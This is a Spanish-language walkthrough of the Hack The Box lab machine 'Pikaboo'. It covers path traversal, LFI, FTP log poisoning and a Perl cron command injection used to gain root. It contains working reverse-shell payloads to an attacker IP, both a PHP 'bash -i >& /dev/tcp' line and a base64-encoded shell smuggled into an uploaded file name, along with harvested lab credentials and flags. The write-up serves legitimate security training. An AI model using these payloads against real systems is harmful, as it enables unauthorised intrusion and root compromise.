Pikaboo
16 minutos de lectura
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.10.249
- Fecha: 17 / 07 / 2021
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.10.249 -p 21,22,80
Nmap scan report for 10.10.10.249
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.16 seconds
La máquina tiene abiertos los puertos 21 (FTP), 22 (SSH) y 80 (HTTP).
Enumeración
Si entramos a http://10.10.10.249
, veremos la siguiente página web:
Podemos ver también una “Pokatdex”:
Parece que existe un panel de administración, pero no podemos entrar porque no tenemos credenciales (al acceder a /admin
, nos solicita credentiales mediante HTTP Basic Authentication):
Utilizando gobuster
, podemos listar algunas rutas del servidor web y ver algo extraño:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -q -r -u http://10.10.10.249
/images (Status: 403) [Size: 274]
/admin (Status: 401) [Size: 456]
/administration (Status: 401) [Size: 456]
/administrator (Status: 401) [Size: 456]
/administr8 (Status: 401) [Size: 456]
/administrative (Status: 401) [Size: 456]
/administratie (Status: 401) [Size: 456]
/admins (Status: 401) [Size: 456]
/admin_images (Status: 401) [Size: 456]
/administrivia (Status: 401) [Size: 456]
/administrative-law (Status: 401) [Size: 456]
/administrators (Status: 401) [Size: 456]
/admin1 (Status: 401) [Size: 456]
/administer (Status: 401) [Size: 456]
/admin3_gtpointup (Status: 401) [Size: 456]
/admin_hp (Status: 401) [Size: 456]
/admin25 (Status: 401) [Size: 456]
/admin02 (Status: 401) [Size: 456]
/administrationinfo (Status: 401) [Size: 456]
/admin_thumb (Status: 401) [Size: 456]
/admin_full (Status: 401) [Size: 456]
/admin_functions (Status: 401) [Size: 456]
/admin2 (Status: 401) [Size: 456]
/adminhelp (Status: 401) [Size: 456]
/adminoffice (Status: 401) [Size: 456]
/administracja (Status: 401) [Size: 456]
Como se puede observar, el servidor está solicitando autenticación cuando la URL comienza por /admin
:
$ curl http://10.10.10.249/adminasdf
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>
Además, vemos que la respuesta del servidor es de Apache/2.4.38 en el puerto 81. La salida de nmap
inicial mostraba que el servidor web en el puerto 80 es nginx.
Acceso a la máquina
Las imágenes que hay en la página web son servidas por nginx. Esto se puede ver mirando la respuesta de error del servidor:
Realizando una navegación de directorios
Es posible que existan malas configuraciones entre estos servidores web, y probablemente estén relacionadas con la ruta /admin
. Podemos aplicar fuzzing para encontrar una navegación de directorios (Directory Path Traversal), y vemos lo siguiente:
$ ffuf -u 'http://10.10.10.249/admin../FUZZ' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt
admin [Status: 401, Size: 456, Words: 42, Lines: 15, Duration: 62ms]
javascript [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 53ms]
[Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 187ms]
server-status [Status: 200, Size: 6784, Words: 283, Lines: 130, Duration: 126ms]
Se puede ver que es posible navegar entre directorios. Sin embargo, no tenemos permiso para acceder a /admin../admin
porque no tenemos credenciales.
Podemos comprobar si hay más directorios que empiezen por admin
. Por ejemplo:
$ ffuf -u 'http://10.10.10.249/admin../adminFUZZ' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt
[Status: 401, Size: 456, Words: 42, Lines: 15, Duration: 111ms]
$ ffuf -u 'http://10.10.10.249/admin../admin_FUZZ' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt
staging [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 110ms]
Y obtenemos que existe un directorio llamado admin_staging
, y además es accesible.
Ahora podemos entrar en http://10.10.10.249/admin../admin_staging/
y saltarnos la autenticación:
Encontrando un LFI
Si inspeccionamos la página, vemos que el servidor está incluyendo archivos PHP mediante un parámetro GET, como se muestra:
Podemos aplicar fuzzing con ffuf
para buscar archivos disponibles:
$ ffuf -u 'http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ.php' -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -fw 3272
user [Status: 200, Size: 24978, Words: 7266, Lines: 578, Duration: 243ms]
info [Status: 200, Size: 86973, Words: 6716, Lines: 1170, Duration: 679ms]
index [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 331ms]
dashboard [Status: 200, Size: 40555, Words: 15297, Lines: 883, Duration: 154ms]
tables [Status: 200, Size: 29131, Words: 11707, Lines: 744, Duration: 79ms]
typography [Status: 200, Size: 24923, Words: 6989, Lines: 567, Duration: 177ms]
Al descargar estos archivos, podemos notar que el código se está interpretando. Esto es un signo de que la página es vulnerable a inclusión de archivos locales (LFI).
Para poder leer el código fuente de los archivos PHP, podemos utilizar un wrapper PHP (por ejemplo, codificar el contenido en Base64 y decodificarlo después). Se puede probar con admin_staging/index.php
:
Si cogemos este archivo codificado en Base64 y lo decodificamos, veremos que hay un fragmento de código PHP que muestra cómo se realiza la inclusión de archivos:
<?php
if (isset($_GET['page'])) {
include($_GET['page']);
} else {
include('dashboard.php');
}
?>
Sin embargo, el servidor solamente permite incluir algunos archivos (aparte de los archivos PHP vistos anteriormente). Esto se muestra en el archivo admin_staging/info.php
, que es un phpinfo()
, y se indica que solamente se pueden incluir archivos del directorio /var/
del servidor.
Envenenamiento del log de FTP
Teniendo en cuenta que hay un servidor FTP, la idea es realizar un envenenamiento del archivo de log de FTP. Este archivo (/var/log/vsftpd.log
) es legible:
La técnica consiste en insertar código PHP en el archivo de log, de manera que al ser incluido en la página web, el código PHP se ejecuta.
Mirando al archivo de log de FTP, vemos que el nombre de usuario se refleja, por lo que será en este campo donde habrá que incluir el código PHP para obtener ejecución remota de comandos (RCE).
A continuación, podemos utilizar un comando de sistema para obtener una reverse shell desde la máquina (es necesario escribir algo en la contraseña para que funcione):
$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:rocky): <?php system("bash -c 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1'"); ?>
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp> quit
221 Goodbye.
Ahora que el log de FTP está envenenado, podemos ejecutarlo utilizando el LFI. Desde nc
, obtenemos acceso a la máquina:
$ curl '10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.249.
Ncat: Connection from 10.10.10.249:35480.
bash: cannot set terminal process group (657): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pikaboo:/var/www/html/admin_staging$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@pikaboo:/var/www/html/admin_staging$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@pikaboo:/var/www/html/admin_staging$ export TERM=xterm
www-data@pikaboo:/var/www/html/admin_staging$ export SHELL=bash
www-data@pikaboo:/var/www/html/admin_staging$ stty rows 50 columns 158
Enumeración del sistema
En este punto, podemos leer la flag user.txt
como usuario www-data
, aunque está en el directorio personal de pwnmeow
:
www-data@pikaboo:/var/www/html/admin_staging$ ls -l /home
total 560
drwxr-xr-x 2 pwnmeow pwnmeow 569344 Jul 6 20:02 pwnmeow
www-data@pikaboo:/var/www/html/admin_staging$ ls -la /home/pwnmeow/
total 580
drwxr-xr-x 2 pwnmeow pwnmeow 569344 Jul 6 20:02 .
drwxr-xr-x 3 root root 4096 May 10 10:26 ..
lrwxrwxrwx 1 root root 9 Jul 6 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 pwnmeow pwnmeow 220 May 10 10:26 .bash_logout
-rw-r--r-- 1 pwnmeow pwnmeow 3526 May 10 10:26 .bashrc
-rw-r--r-- 1 pwnmeow pwnmeow 807 May 10 10:26 .profile
lrwxrwxrwx 1 root root 9 Jul 6 20:01 .python_history -> /dev/null
-r--r----- 1 pwnmeow www-data 33 Aug 29 22:20 user.txt
www-data@pikaboo:/var/www/html/admin_staging$ cat /home/pwnmeow/user.txt
f3417b113fe715a58e02f9e29fe6c736
Ahora podemos enumerar puertos internos y descubrir que el puerto 389 (LDAP) está abierto:
www-data@pikaboo:/var/www/html/admin_staging$ cd /
www-data@pikaboo:/$ for i in $(seq 1 65535); do timeout 1 echo 2>/dev/null > /dev/tcp/127.0.0.1/$i && echo "Port $i open"; done
Port 21 open
Port 22 open
Port 80 open
Port 81 open
Port 389 open
Una manera más sencilla de enuumerar puertos internos abiertos es con netstat
:
www-data@pikaboo:/$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:81 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:389 0.0.0.0:* LISTEN
tcp 1 0 127.0.0.1:81 127.0.0.1:49896 CLOSE_WAIT
tcp 0 0 10.10.10.249:53456 10.10.16.113:4444 ESTABLISHED
tcp 0 0 10.10.10.249:51604 10.10.15.128:4444 CLOSE_WAIT
tcp 0 138 10.10.10.249:60272 10.10.17.44:4444 ESTABLISHED
tcp 0 0 10.10.10.249:59558 10.10.14.29:1234 CLOSE_WAIT
tcp 0 0 10.10.10.249:33250 10.10.14.217:4242 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::21 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
Vemos también que hay algunos archivos de Python en /opt/pokeapi
:
www-data@pikaboo:/$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 May 20 07:17 .
drwxr-xr-x 18 root root 4096 Jul 27 09:32 ..
drwxr-xr-x 10 root root 4096 Jul 6 18:58 pokeapi
www-data@pikaboo:/$ ls -la /opt/pokeapi/
total 104
drwxr-xr-x 10 root root 4096 Jul 6 18:58 .
drwxr-xr-x 3 root root 4096 May 20 07:17 ..
drwxr-xr-x 2 root root 4096 May 19 12:04 .circleci
-rw-r--r-- 1 root root 253 Jul 6 20:17 .dockerignore
drwxr-xr-x 9 root root 4096 May 19 12:04 .git
drwxr-xr-x 4 root root 4096 May 19 12:04 .github
-rwxr-xr-x 1 root root 135 Jul 6 20:16 .gitignore
-rw-r--r-- 1 root root 100 Jul 6 20:16 .gitmodules
-rw-r--r-- 1 root root 3224 Jul 6 20:17 CODE_OF_CONDUCT.md
-rw-r--r-- 1 root root 3857 Jul 6 20:17 CONTRIBUTING.md
-rwxr-xr-x 1 root root 184 Jul 6 20:17 CONTRIBUTORS.txt
-rw-r--r-- 1 root root 1621 Jul 6 20:16 LICENSE.md
-rwxr-xr-x 1 root root 3548 Jul 6 20:16 Makefile
-rwxr-xr-x 1 root root 7720 Jul 6 20:17 README.md
drwxr-xr-x 6 root root 4096 May 19 12:04 Resources
-rw-r--r-- 1 root root 0 Jul 6 20:16 __init__.py
-rw-r--r-- 1 root root 201 Jul 6 20:17 apollo.config.js
drwxr-xr-x 3 root root 4096 Jul 6 20:16 config
drwxr-xr-x 4 root root 4096 May 19 12:14 data
-rw-r--r-- 1 root root 1802 Jul 6 20:16 docker-compose.yml
drwxr-xr-x 4 root root 4096 May 19 12:04 graphql
-rw-r--r-- 1 root root 113 Jul 6 20:16 gunicorn.py.ini
-rwxr-xr-x 1 root root 249 Jul 6 20:16 manage.py
drwxr-xr-x 4 root root 4096 May 27 05:46 pokemon_v2
-rw-r--r-- 1 root root 375 Jul 6 20:16 requirements.txt
-rw-r--r-- 1 root root 86 Jul 6 20:16 test-requirements.txt
Dentro del directorio /opt/pokeapi/config
se encuentra un archivo settings.py
con credenciales para LDAP:
www-data@pikaboo:/$ ls -la /opt/pokeapi/config/
total 28
-rwxr-xr-x 1 root root 0 Jul 6 20:17 __init__.py
drwxr-xr-x 2 root root 4096 Jul 6 16:10 __pycache__
-rw-r--r-- 1 root root 783 Jul 6 20:17 docker-compose.py
-rwxr-xr-x 1 root root 548 Jul 6 20:17 docker.py
-rwxr-xr-x 1 root root 314 Jul 6 20:17 local.py
-rwxr-xr-x 1 root root 3080 Jul 6 20:17 settings.py
-rwxr-xr-x 1 root root 181 Jul 6 20:17 urls.py
-rwxr-xr-x 1 root root 1408 Jul 6 20:17 wsgi.py
www-data@pikaboo:/$ cat /opt/pokeapi/config/settings.py
# ...
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
# ...
Enumeración por LDAP
Después de buscar información sobre LDAP y ldapsearch
(por ejemplo, aquí), vemos algunos comandos útiles.
En el comando ldapsearch
hay que especificar cn=binduser,ou=users,dc=pikaboo,dc=htb
como bind DN (Distinguished Name) y dc=pikaboo,dc=htb
como base DN para realizar la búsqueda:
www-data@pikaboo:/$ ldapsearch -xD 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo
# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi
# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# search result
search: 2
result: 0 Success
# numResponses: 11
# numEntries: 10
Podemos ver qué permisos tiene pwnmeow
sobre FTP. Veamos esta información añadiendo dc=ftp
al base DN para obtener resultados más concretos:
www-data@pikaboo:/$ ldapsearch -xD 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b 'dc=ftp,dc=pikaboo,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=ftp,dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# ftp.10.10.10.249
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, ftp.10.10.10.249
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.10.10.10.249
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.10.10.10.249
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 4
Ahora podemos conectarnos por FTP como pwnmeow
utilizando la siguiente contraseña:
$ echo X0cwdFQ0X0M0dGNIXyczbV80bEwhXw== | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
$ touch file
$ ftp pwnmeow@10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Escalada de privilegios
Tras esto, podemos verificar que pwnmeow
está en el grupo ftp
y listar archivos que pertenecen a este grupo:
www-data@pikaboo:/$ cat /etc/group | grep pwnmeow
pwnmeow:x:1000:pwnmeow
ftp:x:115:pwnmeow
www-data@pikaboo:/$ find / -group ftp 2>/dev/null
/srv/ftp
/srv/ftp/growth_rate_prose
/srv/ftp/ability_changelog_prose
/srv/ftp/types
/srv/ftp/item_names
/srv/ftp/language_names
...
Por otro lado, podemos listar más scripts de Python como se muestra:
www-data@pikaboo:/$ find / -name *.py 2>/dev/null | grep -vE 'python|share'
/usr/local/bin/django-admin.py
/opt/pokeapi/__init__.py
/opt/pokeapi/manage.py
/opt/pokeapi/data/__init__.py
/opt/pokeapi/data/v2/__init__.py
/opt/pokeapi/data/v2/build.py
/opt/pokeapi/config/wsgi.py
/opt/pokeapi/config/local.py
/opt/pokeapi/config/__init__.py
/opt/pokeapi/config/docker.py
/opt/pokeapi/config/settings.py
/opt/pokeapi/config/urls.py
/opt/pokeapi/config/docker-compose.py
/opt/pokeapi/pokemon_v2/__init__.py
/opt/pokeapi/pokemon_v2/migrations/0006_auto_20200725_2205.py
/opt/pokeapi/pokemon_v2/migrations/__init__.py
/opt/pokeapi/pokemon_v2/migrations/0001_squashed_0002_auto_20160301_1408.py
/opt/pokeapi/pokemon_v2/migrations/0009_pokemontypepast.py
/opt/pokeapi/pokemon_v2/migrations/0005_auto_20200709_1930.py
/opt/pokeapi/pokemon_v2/migrations/0002_itemsprites_pokemonformsprites_pokemonsprites.py
/opt/pokeapi/pokemon_v2/migrations/0007_auto_20200815_0610.py
/opt/pokeapi/pokemon_v2/migrations/0008_auto_20201123_2045.py
/opt/pokeapi/pokemon_v2/migrations/0004_iso639length_20191217.py
/opt/pokeapi/pokemon_v2/migrations/0003_auto_20160530_1132.py
/opt/pokeapi/pokemon_v2/migrations/0010_pokemonformtype.py
/opt/pokeapi/pokemon_v2/urls.py
/opt/pokeapi/pokemon_v2/test_models.py
/opt/pokeapi/pokemon_v2/serializers.py
/opt/pokeapi/pokemon_v2/models.py
/opt/pokeapi/pokemon_v2/tests.py
/opt/pokeapi/pokemon_v2/api.py
Encontrando una tarea Cron
Existe un archivo en /usr/local/bin/django-admin.py
. De hecho, en este directorio hay un script para una tarea Cron:
www-data@pikaboo:/$ ls -l /usr/local/bin
total 44
drwxr-xr-x 2 root root 4096 Jul 6 18:57 __pycache__
-rwxr-xr-x 1 root root 218 May 19 12:07 coverage
-rwxr-xr-x 1 root root 218 May 19 12:07 coverage-3.7
-rwxr-xr-x 1 root root 218 May 19 12:07 coverage3
-rwxr--r-- 1 root root 6444 Jun 1 10:55 csvupdate
-rwxr--r-- 1 root root 116 Jun 1 09:40 csvupdate_cron
-rwxr-xr-x 1 root root 266 Jul 6 18:57 django-admin
-rwxr-xr-x 1 root root 125 Jul 6 18:57 django-admin.py
-rwxr-xr-x 1 root root 220 May 19 12:07 gunicorn
-rwxr-xr-x 1 root root 219 Jul 6 18:55 sqlformat
www-data@pikaboo:/tmp$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
Esta tarea Cron está ejecutando csvupdate
, que es un script escrito en Perl:
www-data@pikaboo:/srv/ftp/abilities# cat /usr/local/bin/csvupdate
#!/usr/bin/perl
##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
# #
# Usage: #
# ./csvupdate <type> <file(s)> #
# #
# Arguments: #
# - type: PokeAPI CSV file type #
# (must have the correct number of fields) #
# - file(s): list of files containing CSV data #
##################################################################
use strict;
use warnings;
use Text::CSV;
my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
'ability_changelog_prose' => 3,
'ability_flavor_text' => 4,
'ability_names' => 3,
'ability_prose' => 4,
# ...
'version_group_pokemon_move_methods' => 2,
'version_group_regions' => 2,
'version_groups' => 4,
'version_names' => 3,
'versions' => 3
);
if($#ARGV < 1)
{
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
Explotando una inyección de comandos
Este script csvupdate_cron
es vulnerable a inyección de comandos porque utiliza un wildcard en el archivo CSV. Para explotar la vulnerabilidad, la idea es almacenar un archivo con un nombre malicioso que contenga un comando de sistema.
El archivo malicioso debe guardarse en un directorio de /srv/ftp
:
www-data@pikaboo:/ ls -la /srv/ftp
total 712
drwxr-xr-x 176 root ftp 12288 May 20 2021 .
drwxr-xr-x 3 root root 4096 May 10 2021 ..
drwx-wx--- 2 root ftp 4096 Dec 4 14:20 abilities
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_changelog
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_changelog_prose
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_flavor_text
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_names
drwx-wx--- 2 root ftp 4096 May 20 2021 ability_prose
...
drwx-wx--- 2 root ftp 4096 May 20 2021 version_group_pokemon_move_methods
drwx-wx--- 2 root ftp 4096 May 20 2021 version_group_regions
drwx-wx--- 2 root ftp 4096 May 20 2021 version_groups
drwx-wx--- 2 root ftp 4096 May 20 2021 version_names
drwx-wx--- 2 root ftp 4096 May 20 2021 versions
Podemos utilizar versions
, por ejemplo. Entonces, podremos subir el archivo malicioso con el nombre especial y obtener una reverse shell como root
:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Ahora debemos subir el archivo y nombrarlo con el comando inyectado de manera remota:
$ touch file
$ ftp pwnmeow@10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx--- 2 ftp ftp 4096 May 20 2021 abilities
drwx-wx--- 2 ftp ftp 4096 May 20 2021 ability_changelog
...
drwx-wx--- 2 ftp ftp 4096 May 20 2021 version_names
drwx-wx--- 2 ftp ftp 4096 Jul 06 2021 versions
226 Directory send OK.
ftp> cd versions
250 Directory successfully changed.
ftp> put
(local-file) file
(remote-file) "|echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash|.csv"
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
Como se muestra, el nombre del archivo está construido de tal forma que el comando ejecutado por la tarea Cron es:
/usr/local/bin/csvupdate $(basename $d) |echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash|.csv
El uso de pipes (|
) se debe a que fue la única manera de ejecutar comandos correctamente. Antes, se utilizaron varios punto y coma y sentencias OR, pero ninguna funcionó.
Y la razón por la que este tipo de inyección de comandos funcionó es por un comportamiento extraño de Perl (se conoce como: inyección de argumentos abiertos en Perl, más información aquí).
Y finalmente, obtenemos acceso como root
y podemos leer la flag root.txt
:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.249.
Ncat: Connection from 10.10.10.249:43712.
bash: cannot set terminal process group (15008): Inappropriate ioctl for device
bash: no job control in this shell
root@pikaboo:/srv/ftp/versions# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@pikaboo:/srv/ftp/versions# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@pikaboo:/srv/ftp/versions# export TERM=xterm
root@pikaboo:/srv/ftp/versions# export SHELL=bash
root@pikaboo:/srv/ftp/versions# stty rows 50 columns 158
root@pikaboo:/srv/ftp/versions# cat /root/root.txt
3904cd5b02fd88be5264107d52282460
Como añadido, todos los pasos necesarios para comprometer la máquina se han programado en un script en Python llamado autopwn.py
(explicación detallada aquí):
$ python3 autopwn.py 10.10.17.44
[*] FTP log (/var/log/vsftpd.log) has been poisoned
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.249 on port 33048
[*] Found user: pwnmeow
[!] Found user.txt: f3417b113fe715a58e02f9e29fe6c736
[*] Found LDAP user: cn=binduser,ou=users,dc=pikaboo,dc=htb
[*] Found LDAP password: J~42%W?PFHl]g
[*] Found FTP password: _G0tT4_C4tcH_'3m_4lL!_
[*] Stored malicious file with injected command in filename
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.249 on port 37974
[!] Found root.txt: 3904cd5b02fd88be5264107d52282460
[+] Got shell as root
[*] Switching to interactive mode
root@pikaboo:/srv/ftp/abilities#